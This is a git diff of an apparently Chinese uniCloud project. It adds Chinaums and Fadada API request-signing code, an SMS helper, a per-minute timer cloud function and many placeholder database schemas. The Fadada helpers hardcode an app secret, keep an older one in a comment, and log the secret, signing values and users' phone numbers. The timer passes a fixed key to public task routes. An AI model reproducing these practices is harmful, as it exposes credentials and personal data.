+ AuthorizationType[AuthorizationType["OPEN-FORM-PARAM"] = 0] = "OPEN-FORM-PARAM";
+ AuthorizationType[AuthorizationType["OPEN-BODY-SIG"] = 1] = "OPEN-BODY-SIG";
+ AuthorizationType[AuthorizationType["OPEN-ACCESS-TOKEN"] = 2] = "OPEN-ACCESS-TOKEN";
+})(AuthorizationType || (AuthorizationType = {}));
+/**
+ * Open SDK for Node.JS
+ */
+class OpenSdk {
+ /**
+ * @class
+ * @param {OpenSdkConfig} config 初始化 SDK 配置
+ */
+ constructor(config) {
+ if (!config.appId) {
+ throw Error('config.appId is required');
+ }
+ if (!config.appKey) {
+ throw Error('config.appKey is required');
+ }
+ this.config = config;
+ }
+ /**
+ * 生成请求字符串
+ * @param {QueryParams} params 请求参数
+ * @return {string} 请求字符串
+ */
+ generateSignature(params) {
+ if (!AuthorizationType[params.authorization]) {
+ params.authorization = AuthorizationType['OPEN-BODY-SIG'];
+ }
+ let content = JSON.stringify(params.content);
+ if (params.authorization === AuthorizationType['OPEN-FORM-PARAM']) {
+ let contentHash = CryptoJS.SHA256(content).toString();
+ let signStr = this.config.appId + params.timestamp + params.nonce + contentHash;
+ let signature = CryptoJS.HmacSHA256(signStr, this.config.appKey);
+ let signatureStr = CryptoJS.enc.Base64.stringify(signature);
+ let signatureEncode = encodeURIComponent(signatureStr);
+ let str = `?authorization=${params.authorization}&appId=${this.config.appId}×tamp=${params.timestamp}&nonce=${params.nonce}&content=${content}&signature=${signatureEncode}`;
+ return str;
+ }
+ if (params.authorization === AuthorizationType['OPEN-BODY-SIG']) {
+ let contentHash = CryptoJS.SHA256(content).toString();
+ let signStr = this.config.appId + params.timestamp + params.nonce + contentHash;
+ let signature = CryptoJS.HmacSHA256(signStr, this.config.appKey);
+ let signatureStr = CryptoJS.enc.Base64.stringify(signature);
+ return signatureStr;
+ }
+ if (params.authorization === AuthorizationType['OPEN-ACCESS-TOKEN']) {
+ let signStr = this.config.appId + params.timestamp + params.nonce + this.config.appKey;
+ let signatureStr = CryptoJS.SHA256(signStr).toString();
+ return signatureStr;
+ }
+ }
+ /**
+ * 发送请求
+ * @param {QueryParams} params 请求参数
+ * @return {Promise} 请求执行结果
+ */
+ exec(params) {
+ return __awaiter(this, void 0, void 0, function* () {
+ if (!params.queryUrl) {
+ throw Error('params.queryUrl is required');
+ }
+ if (!params.nonce) {
+ throw Error('params.nonce is required');
+ }
+ if (!params.timestamp) {
+ throw Error('params.timestamp is required');
+ }
+ const str = this.generateSignature(params);
+ const config = this.config;
+ if (params.authorization === AuthorizationType['OPEN-FORM-PARAM']) {
+ const Url = params.queryUrl + encodeURIComponent(str);
+ return new Promise((resolve, reject) => {
+ request(Url, (error, _response, body) => {
+ if (!error) {
+ if (typeof (body) === 'object') {
+ resolve(JSON.parse(body));
+ }
+ else {
+ resolve(body);
+ }
+ }
+ reject(error);
+ });
+ });
+ }
+ if (params.authorization === AuthorizationType['OPEN-BODY-SIG']) {
+ const Url = params.queryUrl;
+ return new Promise((resolve, reject) => {
+ request({
+ url: Url,
+ method: "POST",
+ headers: {
+ "Authorization": `OPEN-BODY-SIG AppId="${config.appId}", Timestamp="${params.timestamp}", Nonce="${params.nonce}", Signature="${str}"`,
+ },
+ body: JSON.stringify(params.content),
+ }, (error, _response, body) => {
+ if (!error) {
+ if (typeof (body) === 'object') {
+ resolve(JSON.parse(body));
+ }
+ else {
+ resolve(body);
+ }
+ }
+ reject(error);
+ });
+ });
+ }
+ if (params.authorization === AuthorizationType['OPEN-ACCESS-TOKEN']) {
+ const Url = params.queryUrl;
+ const token = yield new Promise((resolve, reject) => {
+ request({
+ url: 'https://test-api-open.chinaums.com/v1/token/access',
+ method: "POST",
+ body: JSON.stringify({
+ appId: config.appId,
+ timestamp: params.timestamp,
+ nonce: params.nonce,
+ signMethod: 'SHA256',
+ Signature: str
+ })
+ }, (error, _response, body) => {
+ if (!error) {
+ resolve(JSON.parse(body).accessToken);
+ }
+ reject(error);
+ });
+ });
+ return new Promise((resolve, reject) => {
+ request({
+ url: Url,
+ method: "POST",
+ headers: {
+ "Authorization": `OPEN-ACCESS-TOKEN AccessToken="${token}"`,
+ },
+ body: JSON.stringify(params.content),
+ }, (error, _response, body) => {
+ if (!error) {
+ if (typeof (body) === 'object') {
+ resolve(JSON.parse(body));
+ }
+ else {
+ resolve(body);
+ }
+ }
+ reject(error);
+ });
+ });
+ }
+ });
+ }
+}
+exports.default = OpenSdk;
+//# sourceMappingURL=base.js.map
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/util/pubFunction.js b/uniCloud-tcb/cloudfunctions/router/util/pubFunction.js
index b737a29..7c38a13 100644
--- a/uniCloud-tcb/cloudfunctions/router/util/pubFunction.js
+++ b/uniCloud-tcb/cloudfunctions/router/util/pubFunction.js
@@ -2,6 +2,8 @@
* 自定义公共函数包
* 这里可以写你自己的公共函数
*/
+var CryptoJS = require("crypto-js");
+const crypto = require('crypto');
var pubFun = {};
/**
* 公共函数写法示例
@@ -10,17 +12,196 @@ var pubFun = {};
* 或
* vk.myfn.test();
*/
-pubFun.test = function(path) {
- // 此处可以直接使用 vk 实例
- let timeStr = vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss");
- // 逻辑
- // ...
- // 逻辑
- return {
- timeStr,
- msg: "这是公共函数test的返回"
- }
+pubFun.test = function (path) {
+ // 此处可以直接使用 vk 实例
+ let timeStr = vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss");
+ // 逻辑
+ // ...
+ // 逻辑
+ return {
+ timeStr,
+ msg: "这是公共函数test的返回"
+ }
}
+// const url = 'http://test.api.fabigbig.com:8888/api'
+// const app_id = 405942
+// const app_secret = 'ODDW0vm9FvDj2RYQRmoryVnH'
-module.exports = pubFun;
+const url = 'https://textapi.fadada.com/api2/'
+const app_id = 502704
+const app_secret = 'cd1nHX8WnyE1DOiRXfKGNlwu'
+
+const getFadadaSign = function (api, params, timestamp) {
+ if (api === 'https://tczapi.fadada.com/czapi/api/compliance-contract-report' || api === 'https://czapi-test.fadada.com/evidence-api/api/compliance-contract-report') {
+ console.log('app_id', app_id)
+ console.log('timestamp', timestamp)
+ console.log('app_secret', app_secret)
+ console.log('contractNum', params.contractNum)
+ // let bParams = `${app_secret}${params.contractNum}${app_id}${params.evidenceType}`
+ let bParams = `${app_secret}${params.contractNum}`
+ const b = CryptoJS.SHA1(bParams).toString().toUpperCase()
+ const a = CryptoJS.SHA1(`${app_id}${CryptoJS.MD5(timestamp).toString().toUpperCase()}${b}`).toString().toUpperCase()
+ // if (params.reportExpressInfo) {
+ // bParams += `${params.reportExpressInfo.address}${params.reportExpressInfo.mobile}${params.reportExpressInfo.name}`
+ // }
+ // if (params['reportExpressInfo.name']) {
+ // bParams += `${params['reportExpressInfo.address']}${params['reportExpressInfo.mobile']}${params['reportExpressInfo.name']}`
+ // }
+ console.log('timestamp cryp', CryptoJS.MD5(timestamp).toString().toUpperCase())
+ console.log('a data', `${app_id}${CryptoJS.MD5(timestamp).toString().toUpperCase()}${b}`)
+ console.log('aParams', a)
+ console.log('bParams', bParams)
+ console.log('b', b)
+ return CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(a));
+ }
+ const copyParams = {
+ ...params
+ }
+ //1. A.将参与摘要计算的业务参数按字典升序排列
+ let computeKeys = Object.keys(params)
+
+ var sortedParams = computeKeys.sort().reduce((acc, curr, index) => {
+ acc += params[curr];
+ return acc;
+ }, '');
+
+ // 1.B.将 app_secret 附加到字符串串前
+ let str1 = app_secret + sortedParams
+ console.log('sortedParams: ', sortedParams);
+ if (api === 'generate_contract.api') {
+ str1 = app_secret + params.template_id + params.contract_id
+ } else if (api === 'uploaddocs.api') {
+ str1 = app_secret + params.contract_id
+ } else if (api === 'extsign.api') {
+ str1 = app_secret + params.customer_id
+ } else if (api === 'uploadtemplate.api') {
+ str1 = app_secret + params.template_id
+ }
+
+
+ // 步骤 2.对得到的字符串进⾏SHA1 加密
+ const sha1_1 = CryptoJS.SHA1(str1).toString().toUpperCase()
+ console.log('sha1_1: ', sha1_1);
+ // 步骤 3.计算 timestamp的MD5值,并和app_id,步骤 2 中得到的字符串拼接得到新的字符串
+ let timestampMd5 = ''
+ if (api === 'extsign.api') {
+ timestampMd5 = CryptoJS.MD5(params.transaction_id + timestamp).toString().toUpperCase()
+ } else {
+ timestampMd5 = CryptoJS.MD5(timestamp).toString().toUpperCase()
+ }
+
+ let str2 = app_id + timestampMd5 + sha1_1
+ if (api == 'generate_contract.api') {
+ str2 += params.parameter_map
+ } else if (api == 'extsign.api') {
+
+ }
+
+ // 步骤 4.对步骤3中得到的字符串进行SHA1 加密
+ const str3 = CryptoJS.SHA1(str2).toString().toUpperCase()
+ // 步骤 5.对步骤 4 中得到的字符串进⾏base64 加密
+ var wordArray = CryptoJS.enc.Utf8.parse(str3);
+ const msg_digest = CryptoJS.enc.Base64.stringify(wordArray);
+
+ return msg_digest;
+
+}
+pubFun.getFadadaSign = getFadadaSign
+
+/**
+ * 给法大大发请求
+
+ * @param {Object} api
+ * @param {Object} params
+ * @param {Object} fullUrl
+ * @param header
+ */
+pubFun.fadada = async function (api, params, fullUrl = false, header = {
+ "content-type": "application/x-www-form-urlencoded;charset=UTF-8",
+}) {
+ const timestamp = vk.pubfn.timeFormat(new Date(), "yyyyMMddhhmmss");
+ // const timestamp = '20251021181001';
+ const msg_digest = getFadadaSign(api, params, timestamp)
+ console.log('msg_digest: ', msg_digest, timestamp);
+ const res = await vk.request({
+ url: !fullUrl ? (url + '/' + api) : api,
+ method: "POST",
+ header,
+ data: {
+ app_id: app_id,
+ appId: app_id,
+ timestamp,
+ v: '2.0',
+ msg_digest,
+ msgDigest: msg_digest,
+ ...params
+ },
+ timeout: 60000
+ });
+ console.log('res: ', res);
+ return res;
+}
+
+function buildQueryString(params) {
+ let queryString = '';
+ for (const key in params) {
+ if (params.hasOwnProperty(key)) {
+ if (queryString.length > 0) {
+ queryString += '&';
+ }
+ queryString += `${encodeURIComponent(key)}=${encodeURIComponent(params[key])}`;
+ }
+ }
+ return queryString;
+}
+
+/**
+ * 给法大大发请求
+
+ * @param {Object} api
+ * @param {Object} params
+ */
+pubFun.fadadaUrl = function (api, params) {
+
+
+ const timestamp = vk.pubfn.timeFormat(new Date(), "yyyyMMddhhmmss");
+ const msg_digest = getFadadaSign(api, params, timestamp)
+
+ const queryParams = buildQueryString({
+ app_id: app_id,
+ timestamp,
+ v: '2.0',
+ msg_digest,
+ ...params
+ });
+ const fullUrl = `${url}/${api}?${queryParams}`;
+
+
+ return fullUrl;
+}
+
+pubFun.base64ToFile = function (base64, fileName) {
+
+}
+
+pubFun.sendNotifySms = async function (userId, templateId, data = {}) {
+ const user = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: userId
+ }
+ })
+ if (user) {
+ const smsRes = await vk.system.smsUtil.sendSms({
+ provider: "aliyun",
+ templateId,
+ phone: user.mobile,
+ data
+ })
+ console.log('smsSendPhone', user.mobile)
+ console.log('smsRes', smsRes)
+ }
+}
+
+module.exports = pubFun;
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/timer/index.js b/uniCloud-tcb/cloudfunctions/timer/index.js
new file mode 100644
index 0000000..4d7acf5
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/timer/index.js
@@ -0,0 +1,68 @@
+'use strict';
+exports.main = async (event, context) => {
+ let res = {code: 0, msg: ""};
+ await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/timedTask/pub/cancelOrder",
+ data: {
+ key: "lsgjoksdjf"
+ }
+ }
+ });
+ await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/timedTask/pub/cancelOldExpired",
+ data: {
+ key: "lsgjoksdjf"
+ }
+ }
+ });
+ await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/timedTask/pub/autoConfirmOrder",
+ data: {
+ key: "lsgjoksdjf"
+ }
+ }
+ });
+ await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/timedTask/pub/certReport",
+ data: {
+ key: "lsgjoksdjf"
+ }
+ }
+ });
+ await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/timedTask/pub/syncMerchantBalance",
+ data: {
+ key: "lsgjoksdjf"
+ }
+ }
+ });
+ await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/timedTask/pub/syncBalanceActionStatus",
+ data: {
+ key: "lsgjoksdjf"
+ }
+ }
+ });
+ await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/timedTask/pub/autoTransferPayList",
+ data: {
+ key: "lsgjoksdjf"
+ }
+ }
+ });
+ return res;
+};
diff --git a/uniCloud-tcb/cloudfunctions/timer/package.json b/uniCloud-tcb/cloudfunctions/timer/package.json
new file mode 100644
index 0000000..3f4c214
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/timer/package.json
@@ -0,0 +1,18 @@
+{
+ "name": "timer",
+ "dependencies": {},
+ "extensions": {
+ "uni-cloud-jql": {}
+ },
+ "cloudfunction-config": {
+ "concurrency": 1,
+ "memorySize": 512,
+ "path": "",
+ "timeout": 600,
+ "triggers": [{
+ "config": "0 * * * * * *",
+ "name": "timer",
+ "type": "timer"
+ }]
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/fadada-verify-record.schema.json b/uniCloud-tcb/database/fadada-verify-record.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/fadada-verify-record.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-account.schema.json b/uniCloud-tcb/database/jjx-account.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-account.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-ad.schema.json b/uniCloud-tcb/database/jjx-ad.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-ad.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-album.schema.json b/uniCloud-tcb/database/jjx-album.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-album.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-article-category.schema.json b/uniCloud-tcb/database/jjx-article-category.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-article-category.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-article-collect.schema.json b/uniCloud-tcb/database/jjx-article-collect.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-article-collect.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-article-download.schema.json b/uniCloud-tcb/database/jjx-article-download.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-article-download.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-article.schema.json b/uniCloud-tcb/database/jjx-article.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-article.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-balance-log.schema.json b/uniCloud-tcb/database/jjx-balance-log.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-balance-log.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-balance.schema.json b/uniCloud-tcb/database/jjx-balance.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-balance.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-business-card.schema.json b/uniCloud-tcb/database/jjx-business-card.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-business-card.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-business-contact.schema.json b/uniCloud-tcb/database/jjx-business-contact.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-business-contact.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-cart.schema.json b/uniCloud-tcb/database/jjx-cart.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-cart.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-cash.schema.json b/uniCloud-tcb/database/jjx-cash.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-cash.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-certificate.schema.json b/uniCloud-tcb/database/jjx-certificate.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-certificate.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-company-manage-change-log.schema.json b/uniCloud-tcb/database/jjx-company-manage-change-log.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-company-manage-change-log.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-contract-template.schema.json b/uniCloud-tcb/database/jjx-contract-template.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-contract-template.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-contract.schema.json b/uniCloud-tcb/database/jjx-contract.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-contract.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-coop-config.schema.json b/uniCloud-tcb/database/jjx-coop-config.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-coop-config.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-dict.schema.json b/uniCloud-tcb/database/jjx-dict.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-dict.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-enquiry-attributes.schema.json b/uniCloud-tcb/database/jjx-enquiry-attributes.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-enquiry-attributes.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-enquiry-category.schema.json b/uniCloud-tcb/database/jjx-enquiry-category.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-enquiry-category.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-enquiry-package.schema.json b/uniCloud-tcb/database/jjx-enquiry-package.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-enquiry-package.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-enquiry-quote.schema.json b/uniCloud-tcb/database/jjx-enquiry-quote.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-enquiry-quote.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-enquiry-sheet.schema.json b/uniCloud-tcb/database/jjx-enquiry-sheet.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-enquiry-sheet.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-enquiry-template.schema.json b/uniCloud-tcb/database/jjx-enquiry-template.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-enquiry-template.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-ensure-config.schema.json b/uniCloud-tcb/database/jjx-ensure-config.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-ensure-config.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-factory.schema.json b/uniCloud-tcb/database/jjx-factory.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-factory.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-goods-category.schema.json b/uniCloud-tcb/database/jjx-goods-category.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-goods-category.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-goods-cooperate.schema.json b/uniCloud-tcb/database/jjx-goods-cooperate.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-goods-cooperate.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-goods.schema.json b/uniCloud-tcb/database/jjx-goods.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-goods.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-industry.schema.json b/uniCloud-tcb/database/jjx-industry.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-industry.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-message-config.schema.json b/uniCloud-tcb/database/jjx-message-config.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-message-config.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-message.schema.json b/uniCloud-tcb/database/jjx-message.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-message.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-old-category.schema.json b/uniCloud-tcb/database/jjx-old-category.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-old-category.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-old-quote.schema.json b/uniCloud-tcb/database/jjx-old-quote.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-old-quote.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-old.schema.json b/uniCloud-tcb/database/jjx-old.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-old.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-order-goods.schema.json b/uniCloud-tcb/database/jjx-order-goods.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-order-goods.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-order-pay-list.schema.json b/uniCloud-tcb/database/jjx-order-pay-list.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-order-pay-list.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
